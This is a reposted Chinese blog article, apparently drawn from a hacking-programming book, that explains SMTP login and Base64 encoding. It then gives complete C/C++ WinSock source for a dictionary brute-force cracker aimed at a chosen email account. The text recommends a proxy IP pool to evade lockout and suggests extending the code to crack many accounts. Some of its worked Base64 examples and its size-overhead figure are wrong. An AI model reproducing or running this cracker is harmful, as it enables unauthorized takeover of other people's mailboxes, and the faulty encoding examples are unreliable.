网络安全编程:邮箱破解
2022-7-21 08:0:41 Author: 橘猫学安全(查看原文) 阅读量:9 收藏

转自:计算机与网络安全

收发电子邮件经常使用的协议有SMTP协议和POP3协议,SMTP协议主要用于邮件的发送,而POP3协议主要用于邮件的接收。本文介绍通过SMTP协议来完成对电子邮箱的破解。
1. SMTP的手工模拟
SMTP(Simple Mail Transfer Protocol)即简单邮件传输协议,它是基于TCP协议邮件传输协议,它主要用于邮件的发送,它的TCP端口号是25。这里通过一次简单的手工模拟来简单地介绍STMP的登录过程。
在进行模拟之前,需要准备一台已经注册过账号的SMTP服务器,网易、腾讯的邮箱都支持SMTP服务。这里,随便使用了一台SMTP服务器,模拟过程如图1所示。
图1  SMTP登录过程
在登录的过程中如果看到235,那么说明登录成功了。那么,我们来分析一下上面的步骤。
首先,需要使用telnet来登录smtp服务器,比如telnet smtp.xxx.com 25,也就是连接×××的smtp服务器地址,指定端口号为25号端口。
接着,输入HELO smtp.×××.com,该命令标识发件人的身份。
再下来输入auth login用来告诉服务器要进行身份的验证了,当输入auth login后,服务器会返回334,334后面的一串字符是经过base64编码的字符串,将其解密后的内容是“Username:”。
在此处输入经过base64编码的“用户名”即可。当输入用户名回车后,会接着返回一个334,334后面的仍然是一串经过base64编码的字符串,将其解密后的内容是“Password:”。
在Password后面输入经过base64编码的“密码”即可。此时,如果用户名和密码正确的话,那么就会返回235,表示登录成功。
对于模拟登录而言,掌握到这一步就已经足够了。
在进行测试时,如果手头没有进行字符串转换的base64编码工具的话,可以在搜索引擎中搜索“base64编码”,就会有许多的在线base64编码工具的。
2. 邮箱的破解
有了上面的关于SMTP协议登录的步骤以后,完全可以使用WinSock来实现邮箱密码的破解。要破解邮箱密码需要准备四个部分,首先是破解程序,然后是字典,还有一个就是代理IP地址池。破解程序是由我们自己完成的程序,字典是用来测试的各种密码,代理IP地址池主要是为了避免邮箱地址的服务器设置了登录失败的次数,在尝试登录失败N次以后可能会锁定IP地址,有的甚至会锁定账户,这些属于服务器配置上的安全策略。我们的主要任务是完成破解程序的编写,至于其他的就不多考虑了。
对于自己写程序,也需要考虑两方面,一方面就是用WinSock来进行与SMTP服务器的通信,另一方面是如何将用户名或密码转换为base64编码。
(1)base64编码相关代码
在邮件的传输过程中,为了提高传输抗干扰性或出于安全性的考虑,会对邮件进行一定的编码。最常见的编码方式即为Base64编码。它的编码和解码算法都是很容易的,编码后的长度是编码前长度的34%。
它是一种编码算法,也有人称为Base64加密,其实它并不是加密算法,毕竟没有密钥,只是把字符的编码格式进行了重新编排。
Base64的编码规则是,在编码时,采用特定的65个字符,可以用6比特组成用来表示64个字符,第65个字符是“=”,它被用来标出一个特别的处理过程。该编码采用24比特作为一个输入组,输出为4个编码字符,这个24比特是由3个8比特按从左往右组成的,被分为4组,每组就是6比特,在其中每组均添加2个0比特,这样就组成了一个数字,这个数字处于0到63之间。在Base64字符表中,可以根据该数字查到其对应的字符。Base64字符表如表1所示。按这种编码组成的编码流必须严格按照一定的顺序(从左往右的顺序),否则就没有任何意义了(编码不符合规范当然没有意义了)。
表1  Base64编码表
由原字符组合成的总比特数目不一定能被正好分组,在最后用“=”标注。举例说明吧。
把“UPX”三个字符转换成Base64编码,编码过程如下。
把UPX三个字符转换成二进制为“01010101 01010000 01011000”,将3个8位的二进制重新组合成4个6位的二进制为“010101 010101 000001 011000”,将4个6位的二进制数转换成4个十进制数为“21 21 1 24”,查表值对应的字符是“VVBY”。则说明“UPX”进行Base64编码后为“VVBY”。
把“MSVC”四个字符转换成二进制为“01001101 01010011 01010110 01000011”,将4个8位的二进制重新组合成6个6位的二进制为“010011 010101 001101 010110 010000 11”,将6个6位的二进制按照4个一组可以分为两组,分别是“010011 010101 001101 010110”和“010000 11”,第一组转换为十进制后为“19 21 13 22”,按照Base64编码表查表为“TVNW”,第二组转换为十进制后为“16 3”,按照Base64编码表查表为“QD”,但是要求4个一组,这里不足4个,则用“=”补足,那么第二组用Base64编码后为“QD==”。因此“MSVC”用Base64编码后为“TVNWQD==”。
Base64编码和解码的代码如下:
static const char *codes = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";static const unsigned char map[256] = { 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 253, 255, 255, 253, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 253, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 62, 255, 255, 255, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 255, 255, 255, 254, 255, 255, 255, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 255, 255, 255, 255, 255, 255, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255 };int base64_encode(const unsigned char *inunsigned long len,unsigned char *out){ unsigned long i, len2, leven; unsigned char *p; /* valid output size ? */ len2 = 4 * ((len + 2) / 3); p = out; leven = 3*(len / 3); for (i = 0; i < leven; i += 3) { *p++ = codes[in[0] >> 2]; *p++ = codes[((in[0] & 3) << 4) + (in[1] >> 4)]; *p++ = codes[((in[1] & 0xf) << 2) + (in[2] >> 6)]; *p++ = codes[in[2] & 0x3f]; in += 3; } /* Pad it if necessary... */ if (i < len) { unsigned a = in[0]; unsigned b = (i+1 < len) ? in[1] : 0; unsigned c = 0; *p++ = codes[a >> 2]; *p++ = codes[((a & 3) << 4) + (b >> 4)]; *p++ = (i+1 < len) ? codes[((b & 0xf) << 2) + (c >> 6)] : '='; *p++ = '='; } /* append a NULL byte */ *p = '\0'; return p - out;}int base64_decode(const unsigned char *in, unsigned char *out){ unsigned long t, x, y, z; unsigned char c; int g = 3; for (x = y = z = t = 0in[x]!=0;) { c = map[in[x++]]; if (c == 255return -1; if (c == 253continue; if (c == 254) { c = 0; g--; } t = (t<<6)|c; if (++y == 4) { // if (z + g > *outlen) { return CRYPT_BUFFER_OVERFLOW; } out[z++] = (unsigned char)((t>>16)&255); if (g > 1out[z++] = (unsigned char)((t>>8)&255); if (g > 2out[z++] = (unsigned char)(t&255); y = t = 0; } } return z;}
上面给出了关于Base64算法编码与解码的代码,在使用时直接进行调用即可。
(2)破解程序相关代码
破解简单的流程就是读字典中的密码、创建socket、与SMTP服务器进行通信,对返回的结果进行判断,当判断找到“235”时则认为成功,输出尝试的密码;如果没有找到“235”则继续读取字典中的密码重复前面的步骤。这就是一个破解某个指定邮箱账号的简单思路。具体代码如下:
// 模拟一串字典char *dict[5] = {"12345", "123456", "12345678", "111", "22222"};int _tmain(int argc, TCHAR* argv[], TCHAR* envp[]){ int nRetCode = 0; HMODULE hModule = ::GetModuleHandle(NULL); if (hModule != NULL) { // 初始化 MFC 并在失败时显示错误 if (!AfxWinInit(hModule, NULL, ::GetCommandLine(), 0)) { // TODO: 更改错误代码以符合您的需要 _tprintf(_T("错误: MFC 初始化失败\n")); nRetCode = 1; } else { // TODO: 在此处为应用程序的行为编写代码。 } } else { // TODO: 更改错误代码以符合您的需要 _tprintf(_T("错误: GetModuleHandle 失败\n")); nRetCode = 1; } // 初始化 WinSock WSADATA wsaData = { 0 }; WSAStartup(MAKEWORD(22), &wsaData); // 循环读取字典 for ( int i = 0; i <= 4; i ++ ) { char in[30] = { 0 }; char out[MAXBYTE] = { 0 }; SOCKET s = socket(PF_INET, SOCK_STREAM, 0); sockaddr_in saddr = { 0 }; saddr.sin_family = AF_INET; // 连接 SMTP 服务器 saddr.sin_addr.S_un.S_addr = inet_addr("xxx.xxx.xxx.xxx"); // 连接 SMTP 服务的端口号 saddr.sin_port = htons(25); // 发送/接收通信数据的缓冲区 char szBuff[MAX_PATH] = { 0 }; int nRet = connect(s, (SOCKADDR*)&saddr, sizeof(saddr)); recv(s, szBuff, MAXBYTE, 0); printf("%s \r\n", szBuff); lstrcpy(szBuff, "auth login\r\n"); send(s, szBuff, strlen(szBuff), 0); printf("%s \r\n", szBuff); recv(s, szBuff, MAXBYTE, 0); printf("%s \r\n", szBuff); // 这里的 xxx 替换为要破解的 SMTP 用户名 lstrcpy(in, "xxx"); base64_encode((const unsigned char *)in, lstrlen(in), (unsigned char *)out); lstrcpy(szBuff, out); lstrcat(szBuff, "\r\n"); send(s, szBuff, strlen(szBuff), 0); printf("%s \r\n", szBuff); recv(s, szBuff, MAXBYTE, 0); printf("%s \r\n", szBuff); lstrcpy(in, (LPCSTR)(*(dict + i))); base64_encode((const unsigned char *)in, lstrlen(in), (unsigned char *)out); lstrcpy(szBuff, out); lstrcat(szBuff, "\r\n"); send(s, szBuff, strlen(szBuff), 0); printf("%s \r\n", szBuff); recv(s, szBuff, MAXBYTE, 0); printf("%s \r\n", szBuff); if ( strstr(szBuff, "235") ) { printf("Success \r\n"); printf("%s\r\n", (char *)(*(dict + i))); closesocket(s); break; } else { printf("Faild \r\n"); } closesocket(s); } WSACleanup(); return nRetCode;}
该代码是控制台下的MFC工程,请大家建立相关工程然后编译连接源码后测试效果。该程序是对单一SMTP账号的破解,运行结果如图2所示。
图2  SMTP破解程序运行结果
图2就是程序运行后的结果,本程序只针对一个特定的SMTP账号进行破解,大家可以自行修改为能够破解多个账号的程序。
参考文献:C++ 黑客编程揭秘与防范(第3版)

侵权请私聊公众号删文

推荐阅读

XSS 实战思路总结

内网信息收集总结

xss攻击、绕过最全总结

一些webshell免杀的技巧

命令执行写webshell总结

SQL手工注入总结 必须收藏

后台getshell常用技巧总结

web渗透之发现内网有大鱼

蚁剑特征性信息修改简单过WAF

查看更多精彩内容,还请关注橘猫学安全:

每日坚持学习与分享,觉得文章对你有帮助可在底部给点个“再看


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5OTY2NjUxMw==&mid=2247494634&idx=3&sn=6729766e7c35b7df3b058104a4f5a8f3&chksm=c04d6cd4f73ae5c2b6017b818a96f2410b4b28f30c84022bdb034f7ab8eeac6b5963eb1df242#rd
如有侵权请联系:admin#unsafe.sh